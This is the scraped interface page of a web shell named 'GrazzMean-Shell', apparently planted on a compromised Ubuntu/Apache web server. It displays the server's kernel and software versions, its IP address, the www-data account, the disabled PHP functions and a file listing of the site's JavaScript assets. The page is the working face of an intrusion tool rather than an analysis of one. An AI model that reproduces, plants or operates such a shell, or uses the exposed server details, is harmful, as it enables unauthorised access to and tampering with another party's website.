shell bypass 403

GrazzMean-Shell Shell

Uname: Linux wputd 5.4.0-200-generic #220-Ubuntu SMP Fri Sep 27 13:19:16 UTC 2024 x86_64
Software: Apache/2.4.41 (Ubuntu)
PHP version: 7.4.3-4ubuntu2.24 [ PHP INFO ] PHP os: Linux
Server Ip: 158.69.144.88
Your Ip: 3.14.131.115
User: www-data (33) | Group: www-data (33)
Safe Mode: OFF
Disable Function:
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
name last edit size owner:downer permission options
..
.htaccess 2025-01-08 14:40:11 237 B www-data:www-data -r-xr-xr-x
admin-scripts.js 2024-09-21 07:04:36 2.08 KB www-data:www-data -rwxr-xr-x
headroom.js 2024-09-21 07:04:36 14.06 KB www-data:www-data -rwxr-xr-x
isotope.pkgd.js 2024-09-21 07:04:36 89.25 KB www-data:www-data -rwxr-xr-x
jquery.nav.js 2024-09-21 07:04:36 6.77 KB www-data:www-data -rwxr-xr-x
jquery.stellar.js 2024-09-21 07:04:36 30.17 KB www-data:www-data -rwxr-xr-x
nivo-lightbox.js 2024-09-21 07:04:36 13.47 KB www-data:www-data -rwxr-xr-x
odometer.js 2024-09-21 07:04:36 20.71 KB www-data:www-data -rwxr-xr-x
owl.carousel.js 2024-09-21 07:04:36 87.88 KB www-data:www-data -rwxr-xr-x
superfish.js 2024-09-21 07:04:36 6.81 KB www-data:www-data -rwxr-xr-x
total-custom.js 2024-09-21 07:04:36 9.53 KB www-data:www-data -rwxr-xr-x
waypoint.js 2024-09-21 07:04:36 17.14 KB www-data:www-data -rwxr-xr-x
© 2025 GrazzMean-Shell